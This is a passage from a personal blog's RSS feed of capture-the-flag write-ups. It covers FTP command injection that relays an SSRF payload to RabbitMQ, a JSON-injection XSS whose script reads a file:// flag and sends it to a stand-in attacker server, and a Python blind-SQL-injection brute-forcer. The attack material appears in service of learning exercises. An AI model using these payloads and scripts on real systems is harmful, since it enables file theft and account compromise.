<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span>    <span style="color:#a6e22e">app</span>.<span style="color:#a6e22e">get</span>(<span style="color:#e6db74">&#34;/image&#34;</span>, <span style="color:#66d9ef">async</span> (<span style="color:#a6e22e">req</span>, <span style="color:#a6e22e">res</span>) =&gt; {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">let</span> { <span style="color:#a6e22e">url</span> } <span style="color:#f92672">=</span> <span style="color:#a6e22e">req</span>.<span style="color:#a6e22e">query</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> (<span style="color:#66d9ef">typeof</span> <span style="color:#a6e22e">url</span> <span style="color:#f92672">!==</span> <span style="color:#e6db74">&#34;string&#34;</span>) {
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">status</span>(<span style="color:#ae81ff">500</span>).<span style="color:#a6e22e">send</span>(<span style="color:#e6db74">&#34;Bad body&#34;</span>);
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">let</span> <span style="color:#a6e22e">parsed</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> <span style="color:#a6e22e">URL</span>(<span style="color:#a6e22e">url</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">let</span> <span style="color:#a6e22e">image</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">Buffer</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">parsed</span>.<span style="color:#a6e22e">protocol</span> <span style="color:#f92672">===</span> <span style="color:#e6db74">&#34;http:&#34;</span> <span style="color:#f92672">||</span> <span style="color:#a6e22e">parsed</span>.<span style="color:#a6e22e">protocol</span> <span style="color:#f92672">===</span> <span style="color:#e6db74">&#34;https:&#34;</span>) {
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">imageReq</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">await</span> <span style="color:#a6e22e">fetch</span>(<span style="color:#a6e22e">parsed</span>.<span style="color:#a6e22e">toString</span>(), { <span style="color:#a6e22e">method</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;GET&#34;</span> });
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">image</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">await</span> (<span style="color:#a6e22e">imageReq</span> <span style="color:#a6e22e">as</span> <span style="color:#a6e22e">any</span>).<span style="color:#a6e22e">buffer</span>();
</span></span><span style="display:flex;"><span>        } 
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>         <span style="color:#75715e">//THIS PART HERE!
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        <span style="color:#66d9ef">else</span> <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">parsed</span>.<span style="color:#a6e22e">protocol</span> <span style="color:#f92672">===</span> <span style="color:#e6db74">&#34;ftp:&#34;</span>) {
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">let</span> <span style="color:#a6e22e">username</span> <span style="color:#f92672">=</span> decodeURIComponent(<span style="color:#a6e22e">parsed</span>.<span style="color:#a6e22e">username</span>);
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">let</span> <span style="color:#a6e22e">password</span> <span style="color:#f92672">=</span> decodeURIComponent(<span style="color:#a6e22e">parsed</span>.<span style="color:#a6e22e">password</span>);
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">let</span> <span style="color:#a6e22e">filename</span> <span style="color:#f92672">=</span> decodeURIComponent(<span style="color:#a6e22e">parsed</span>.<span style="color:#a6e22e">pathname</span>);
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">let</span> <span style="color:#a6e22e">ftpClient</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">await</span> <span style="color:#a6e22e">connectFtp</span>({
</span></span><span style="display:flex;"><span>                <span style="color:#a6e22e">host</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">parsed</span>.<span style="color:#a6e22e">hostname</span>,
</span></span><span style="display:flex;"><span>                <span style="color:#a6e22e">port</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">parsed</span>.<span style="color:#a6e22e">port</span> <span style="color:#f92672">!==</span> <span style="color:#e6db74">&#34;&#34;</span> <span style="color:#f92672">?</span> parseInt(<span style="color:#a6e22e">parsed</span>.<span style="color:#a6e22e">port</span>) <span style="color:#f92672">:</span> <span style="color:#66d9ef">undefined</span>,
</span></span><span style="display:flex;"><span>                <span style="color:#a6e22e">user</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">username</span> <span style="color:#f92672">!==</span> <span style="color:#e6db74">&#34;&#34;</span> <span style="color:#f92672">?</span> <span style="color:#a6e22e">username</span> <span style="color:#f92672">:</span> <span style="color:#66d9ef">undefined</span>,
</span></span><span style="display:flex;"><span>                <span style="color:#a6e22e">password</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">password</span> <span style="color:#f92672">!==</span> <span style="color:#e6db74">&#34;&#34;</span> <span style="color:#f92672">?</span> <span style="color:#a6e22e">password</span> <span style="color:#f92672">:</span> <span style="color:#66d9ef">undefined</span>,
</span></span><span style="display:flex;"><span>            });
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">image</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">await</span> <span style="color:#a6e22e">ftpClient</span>.<span style="color:#a6e22e">get</span>(<span style="color:#a6e22e">filename</span>);
</span></span><span style="display:flex;"><span>        } <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">status</span>(<span style="color:#ae81ff">500</span>).<span style="color:#a6e22e">send</span>(<span style="color:#e6db74">&#34;Bad image url&#34;</span>);
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>                <span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span><span style="color:#a6e22e">isPNG</span>(<span style="color:#a6e22e">image</span>)) {
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">status</span>(<span style="color:#ae81ff">500</span>).<span style="color:#a6e22e">send</span>(<span style="color:#e6db74">&#34;Bad image (not a png)&#34;</span>);
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">type</span>(<span style="color:#e6db74">&#34;.png&#34;</span>).<span style="color:#a6e22e">status</span>(<span style="color:#ae81ff">200</span>).<span style="color:#a6e22e">send</span>(<span style="color:#a6e22e">image</span>);
</span></span><span style="display:flex;"><span>    })
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">app</span>.<span style="color:#a6e22e">listen</span>(<span style="color:#e6db74">&#34;4101&#34;</span>);
</span></span></code></pre></div><p>Image: the profile picture we would upload when we register as a new user. For HTTP and HTTPS protocols it&rsquo;s a simple GET method, not much to do there. But for FTP?
It asks for the username, password and filename, <em>unchecked</em>, then asynchronously asks the server for the image that matches the filename that we specified.
FTP is a text-based protocol, and since username and password fields are passed to it unchecked, we could definitely inject some protocol commands, custom data (something like <code>{to: &quot;email@example.com&quot;, attachments:[{path:&quot;/flag.txt&quot;}]}</code>), and make FTP send requests that were never intended to be sent.</p>
<p>Here&rsquo;s something I learned in my internet computing class about the FTP protocol: FTP connections have two modes : &ldquo;Active&rdquo; and &ldquo;Passive&rdquo;. I&rsquo;ll give a heavily truncated explanation of the two modes (if you&rsquo;re interested in learning more about the FTP protocol, check out the <a href="https://tools.ietf.org/html/rfc959">RFC specifications on it</a>):</p>
<p>&ndash; In active mode, the client will specify the IP of the destination to the server. The FTP server will then send the files to the specified IP. The client establishes the communication channel, tells the server the address to send data to, and the server will then open a data channel to the address.</p>
<p>&ndash; In passive mode, the server tells the client where the files will be sent to. In this case, the client will then have to open the data channel as well to get the files. By default, applications running FTP will run on passive mode.</p>
<p>The difference in active and passive really lies in the <code>RETR</code> command in the FTP specifications: active-mode <code>RETR</code> makes the client stipulate the destination IP, and passive-mode <code>RETR</code> makes the server stipulate it.</p>
<p>So for this challenge, we can make the FTP client specify the rabbitmq server as the destination IP, and use <code>RETR</code> to make the FTP server send data to rabbitmq.</p>
<p>And since the FTP protocol for this application handles for the uploading and retrieval of profile pictures, we just need to hide our payload (which would ask the rabbitmq server to send an email with the flag.txt file in it to us) in our profile picture, specify FTP to operate on active (using <code>PORT</code> command), and use the <code>RETR</code> command to let the FTP server send our payload to the rabbitmq server!</p>
<p>Okay, I&rsquo;ve explained alot here. This is the attack plan:</p>
<ul>
<li>Craft a payload that will tell the rabbitmq email queue server to email to us, with flag.txt as the attachment. Hide it in the profile picture (make sure its a png). Upload whatever picture it is as our profile picture.</li>
</ul>
<p>Here&rsquo;s the payload I crafted (a classic SSRF):</p>
<pre tabindex="0"><code>{&#34;to&#34;:&#34;yourEmailGoesHere@example.com&#34;,&#34;text&#34;:&#34;Hello would you like a flag&#34;,&#34;attachments&#34;:[{&#34;path&#34;:&#34;/flag.txt&#34;}]}
</code></pre><ul>
<li>Through the username field, input several FTP commands to make the FTP server send our payload to the rabbitmq server. Here, I have made a file called &ldquo;payload.txt&rdquo; that has the post request data with the payload in it:</li>
</ul>
<pre tabindex="0"><code>PASS blah
PORT 255,255,255,255,80
STOR payload.txt
PORT 172,32,56,72,0, 15672      &lt;-----rabbitmq server and port
RETR payload.txt
</code></pre><ul>
<li>Hopefully, the rabbitmq server will send us an email!</li>
</ul>
<pre tabindex="0"><code>PCTF{not_that_contrived_i_guess}
</code></pre><p>NOTE: Doing it this way means the FTP server was establishing a connection with the rabbitmq one. However, multiple times I tried this the TCP connection would close immediately after I send my request! I worked around this by sending in a bunch of garbage in my payload.txt file alongside the actual payload, so that at least the TCP connection would have to spend time sending all of that data(think: an unending stream of AAAAAs), and persist long enough for the reponse to be recieved.</p>
<p>This was a fun way to learn how FTP servers work and how protocols of the internet operate! I&rsquo;m upset that I didn&rsquo;t have the time to participate when it happened, but nonetheless this was a great challenge :)</p>
<p>Jam</p>]]></content>
        </item>
        
        <item>
            <title>CONfidence 2020: CatWeb</title>
            <link>https://jamvie.net/posts/2020/04/confidence-2020-catweb/</link>
            <pubDate>Thu, 23 Apr 2020 00:46:19 -0600</pubDate>
            
            <guid>https://jamvie.net/posts/2020/04/confidence-2020-catweb/</guid>
            <description>&lt;p&gt;I participated in CONfidence CTF 2020 teasers in March of this year. I was focusing mainly on this problem, and it really helped me broaden my skills in JSON-related attacks! I have never seen many JSON injections before this, so this was welcome practise.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>I participated in CONfidence CTF 2020 teasers in March of this year. I was focusing mainly on this problem, and it really helped me broaden my skills in JSON-related attacks! I have never seen many JSON injections before this, so this was welcome practise.</p>
<h2 id="lets-begin">Let&rsquo;s Begin!</h2>
<p>The link to the webpage is: <code>http://catweb.zajebistyc.tf/</code></p>

    <img src="/images/CatWeb_HomePage.png"  alt="Login"  class="center"  style="border-radius: 8px;"  />


<p>We have a basic webpage with photos of cute cats filtered by their color. The drop down menu will give us black, red, grey and white cats. At the bottom is a report button, which will take whatever input we get, send it to some server, and respond to us that our report has been&hellip;well. Reported.</p>
<p>Checking out the response content as I was clicking about the page showed me the requests for the &ldquo;kind&rdquo; (colour) of cats I chose based on the drop down menu. The request was just a small JSON string stipulating what kind I asked for, and I guess the server takes that input and returns whatever.</p>
<pre tabindex="0"><code>curl &#34;http://catweb.zajebistyc.tf/cats?kind=grey&#34;
</code></pre><p>That got me thinking, can I ask for cats of a kind not in the drop down menu?
Editing the request to change the kind from a colour to just absolute garbage&hellip;</p>
<pre tabindex="0"><code>curl &#34;http://catweb.zajebistyc.tf/?kind=djfa&#34;
</code></pre>
    <img src="/images/NotFound.png"  alt="Login"  class="center"  style="border-radius: 8px;"  />


<p>Aha! Our text got echoed back to us in the response. There isn&rsquo;t any input validation in the JSON request! This must be a way in.</p>
<p>To test how far I could go with it, I decided to hide an XSS in the JSON, seeing as how the URL we are taken to after any sort of response also has the JSON text in it.</p>
<p>I typed this in as the URL:</p>
<pre tabindex="0"><code>http://catweb.zajebistyc.tf/?&#34;,&#34;status&#34;:&#34;ok&#34;,&#34;content&#34;:[&#34;\&#34;&lt;img src=deadbeef onerror=alert(document.title)&gt; &lt;/img&gt;],&#34;ignore&#34;:&#34;
</code></pre><p>If there was a JSON vulnerability here, then going to this website would load up an alert with the title of the webpage (&ldquo;my cats&rdquo;). What would happen is it would attempt to load an image from the source called &ldquo;deadbeef&rdquo;, and when it can&rsquo;t find the source, it would load as an error. If the image loaded as an error, pop up an alert with the name of the webpage.</p>

    <img src="/images/XSSJsonInCatWeb.png"  alt="Login"  class="center"  style="border-radius: 8px;"  />


<p>:) Great! There is definitely JSON injection in play here. Let&rsquo;s see what we can do with it!</p>
<p>Using curl to delve deeper into the webpage, I tried to make it list directories with the command:</p>
<pre tabindex="0"><code>curl &#34;http://catweb.zajebistyc.tf/cats?kind=..&#34;
</code></pre>
    <img src="/images/CatWebTemplates.jpg"  alt="Login"  class="center"  style="border-radius: 8px;"  />


<p>I traversed through the directories, but in the templates subfolder&hellip;</p>

    <img src="/images/CatWebFlagLocn.png"  alt="Login"  class="center"  style="border-radius: 8px;"  />


<p>Aha! The <code>flag.txt</code> file is in there. Now we just need to somehow read it from the browser. The fact that I was able to find the local files like this means something: the path of templates looks alot like <code>file:///app/templates/flag.txt</code> - Note the root path name: file. A same-origin policy here could treat all files with this starting origin as from the same place.</p>
<p>We can use this to our advantage: create an XSS attack on the <code>file://</code> path.</p>
<p>Since an XSS endpoint was found using the JSON vulnerabilities in the URL, and there exists a report function, this is all a pretty classic XSS attack from here.</p>
<p>Craft our payload script to fetch the flag.txt from <code>file://</code>. Here&rsquo;s mine called (xss.js):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#a6e22e">url</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;http://yourServer.com/6060?&#39;</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fetch</span>(<span style="color:#e6db74">&#39;file:///app/templates/flag.txt&#39;</span>).<span style="color:#a6e22e">then</span>(<span style="color:#a6e22e">resp</span>=&gt;<span style="color:#a6e22e">resp</span>.<span style="color:#a6e22e">text</span>()).<span style="color:#a6e22e">then</span>(<span style="color:#a6e22e">flag</span>=&gt;<span style="color:#a6e22e">fetch</span>(<span style="color:#a6e22e">url</span><span style="color:#f92672">+</span>(<span style="color:#a6e22e">btoa</span>(<span style="color:#a6e22e">flag</span>) <span style="color:#f92672">||</span> <span style="color:#e6db74">&#39;Nothing&#39;</span>)));
</span></span></code></pre></div><p>Report this url with our payload in it:</p>
<pre tabindex="0"><code>file:///app/templates/index.html?&#34;, &#34;status&#34;: &#34;ok&#34;, &#34;content&#34;:[&#34;\u0022&gt;&lt;script src=http://yourServer.com:6060/xss.js&gt;&lt;/script&gt;&#34;],&#34;ignore&#34;:&#34;
</code></pre><p>Now we wait for our server to retrieve the flag for us once someone checks out our reported URL :)</p>
<p><code>flag:p4{can_i_haz_a_piece_of_flag_pliz?}</code></p>
<p>This was a cool challenge to do that really helped me stretch my XSS skills and teach me how to be thorough when scoping out webpages for possible XSS attacks. I quite enjoyed this challenge! Thank you to <a href="https://p4.team/">P4</a> for hosting the CONfidence 2020 teaser :)</p>
<p>Jam</p>
<h2 id="references">References</h2>
<p>feature image credit: <a href="https://www.pexels.com/@peng-louis-587527">Peng Louis</a> on Pexels</p>]]></content>
        </item>
        
        <item>
            <title>UTctf 2020: Epic Admin Pwn</title>
            <link>https://jamvie.net/posts/2020/04/utctf-2020-epic-admin-pwn/</link>
            <pubDate>Wed, 22 Apr 2020 00:46:19 -0600</pubDate>
            
            <guid>https://jamvie.net/posts/2020/04/utctf-2020-epic-admin-pwn/</guid>
            <description>I particpated in UTCTF with my team in March 2020, held and operated by the University of Texas ISSS. My team and I solved a very fun SQLi-based attack! This challenge helped me to refine my python skills cause the lord knows I needed it, as well as reinforced my knowledge about SQL-based attacks. This is the first web challenge I solved in the CTF, and admittedly the one that I enjoyed the most to do.</description>
            <content type="html"><![CDATA[<p>I particpated in UTCTF with my team in March 2020, held and operated by the University of Texas <a href="https://www.isss.io/">ISSS</a>. My team and I solved a very fun SQLi-based attack! This challenge helped me to refine my python skills cause the lord knows I needed it, as well as reinforced my knowledge about SQL-based attacks. This is the first web challenge I solved in the CTF, and admittedly the one that I enjoyed the most to do.</p>
<h2 id="lets-begin">Let&rsquo;s Begin!</h2>
<p>We are presented with a clean and minimal login page. The challenge&rsquo;s description says that &ldquo;the password is the flag&rdquo;. Well, since this is only a login page, I&rsquo;d figure to try and get into admin somehow.</p>

    <img src="/images/UTCTFscreenshot1.png"  alt="Login"  class="center"  style="border-radius: 8px;"  />


<p>Initial attempts to do some scoping for SQL vulnerabilities didn&rsquo;t do anything. Inputting a single quote &rsquo; mark wouldn&rsquo;t show anything useful. So, I went in kinda blind, and did a pretty standard SQL attack: <code>admin--</code> If there were vulnerable SQL queries to be had, my input would malform the query to only return the entries where the username == admin.
And it worked!</p>

    <img src="/images/UTCTFscreenshot2.png"  alt="Login"  class="center"  style="border-radius: 8px;"  />


<p>It&rsquo;s a static welcome page, so I didn&rsquo;t get anything useful past learning that the admin&rsquo;s username was, in fact, admin. And the challenge&rsquo;s description told me as such - if I wanted the password, I needed to do something else.</p>
<p>The fact that I got into admin meant that I malformed the SQL query so that it would ignore any sort of password checking. But, I kinda need some form of password validation in order to get any headstart on what it was. Luckily, SQL utilizes alot of logic-based keywords that lets us essentially guess the password with custom SQL we inject into it. We would want to inject rogue SQL so that the underlying query would look like,</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-SQL" data-lang="SQL"><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">admin</span><span style="color:#e6db74">&#39; AND pass LIKE (&#39;</span>J<span style="color:#f92672">%</span><span style="color:#e6db74">&#39;)
</span></span></span></code></pre></div><p>This will return true if the admin&rsquo;s password starts with a J.</p>
<p>While I use the SQL &lsquo;LIKE&rsquo; keyword here, another keyword called &ldquo;substr&rdquo; or &ldquo;substring&rdquo; exists that I prefer. <a href="https://www.sqlservertutorial.net/sql-server-string-functions/sql-server-substring-function/">From SQL Server Tutorial:</a></p>
<blockquote>
<p>The SUBSTRING() extracts a substring with a specified length starting from a location in an input string.</p>
</blockquote>
<p>A teammate of mine actually created a script that bruteforced the alphanumerics letter by letter until we printed the password, but I decided to take a shot at creating one myself using python <del>because its about time I actually learn practical python for myself</del>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>flag <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>chars <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;abcdefghijklmnopqrstuvwxyz1234567890</span><span style="color:#e6db74">{}</span><span style="color:#e6db74">&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># url here would&#39;ve been the epic admin pwn site</span>
</span></span><span style="display:flex;"><span>url <span style="color:#f92672">=</span> example<span style="color:#f92672">.</span>com
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> index <span style="color:#f92672">in</span> range(<span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">40</span>):
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">for</span> char <span style="color:#f92672">in</span> chars: 
</span></span><span style="display:flex;"><span>        req <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;admin&#39; AND SUBSTR(flag, </span><span style="color:#e6db74">{index}</span><span style="color:#e6db74">, 1) = &#39;</span><span style="color:#e6db74">{char}</span><span style="color:#e6db74">&#39;--&#34;</span> 
</span></span><span style="display:flex;"><span>        data <span style="color:#f92672">=</span> {<span style="color:#e6db74">&#34;username&#34;</span>: req, <span style="color:#e6db74">&#34;pass&#34;</span>: <span style="color:#e6db74">&#34;JamVieSaysHello&#34;</span>} 
</span></span><span style="display:flex;"><span>        response <span style="color:#f92672">=</span> requests<span style="color:#f92672">.</span>post(url, data)
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> response<span style="color:#f92672">.</span>text<span style="color:#f92672">.</span>equals(<span style="color:#e6db74">&#39;Welcome, admin!&#39;</span>) <span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">0</span>: 
</span></span><span style="display:flex;"><span>            flag <span style="color:#f92672">+=</span> char 
</span></span><span style="display:flex;"><span>            print(flag) 
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">continue</span> 
</span></span></code></pre></div><p>The &ldquo;req&rdquo; var here is our custom SQL. The idea here is to test out every character against the password&rsquo;s character at the given index. If they match, store it into our buffer array. When we reach the nullbyte character which terminates strings, then we print out the buffer, which should have correctly found the password!</p>
<pre tabindex="0"><code>utflag{dual1pa1sp3rf3ct}
</code></pre><p>Note that, we could technically put anything we wanted into the password field - our input to it never gets checked, because we override whatever checking existed for it with our custom SQL.</p>
<p>There are admittedly faster ways to do this, for example, if you have burpsuite and sqlmap you could save the post request data into a text file and have sqlmap dump the underlying database for you, which should also return the flag. However, creating the script and testing it out was alot of fun!</p>
<p>Jam</p>
]]></content>
        </item>
        
        <item>
            <title>Jamvie&#39;s first post</title>
            <link>https://jamvie.net/posts/2020/04/jamvies-first-post/</link>
            <pubDate>Mon, 20 Apr 2020 21:27:12 -0600</pubDate>
            
            <guid>https://jamvie.net/posts/2020/04/jamvies-first-post/</guid>
            <description>Hi, and welcome to my CTF blog. I&amp;rsquo;m just a software dev with a hobby for CTFs, and I thought a blog would be a good way to stash all my long-archived writeups for CTF challenges I participated in. I&amp;rsquo;m by no means an expert on the topic, but if someone stumbles upon here and gains a newfound interest in cybersecurity, that would be pretty cool.
Over the next few weeks I will upload my old writeups for some CTFs that occurred this year and last, so stay tuned!</description>
            <content type="html"><![CDATA[<p>Hi, and welcome to my CTF blog. I&rsquo;m just a software dev with a hobby for CTFs, and I thought a blog would be a good way to stash all my long-archived writeups for CTF challenges I participated in. I&rsquo;m by no means an expert on the topic, but if someone stumbles upon here and gains a newfound interest in cybersecurity, that would be pretty cool.</p>
<p>Over the next few weeks I will upload my old writeups for some CTFs that occurred this year and last, so stay tuned!</p>
<p>Jam
:)</p>
]]></content>
        </item>
        
    </channel>
</rss>
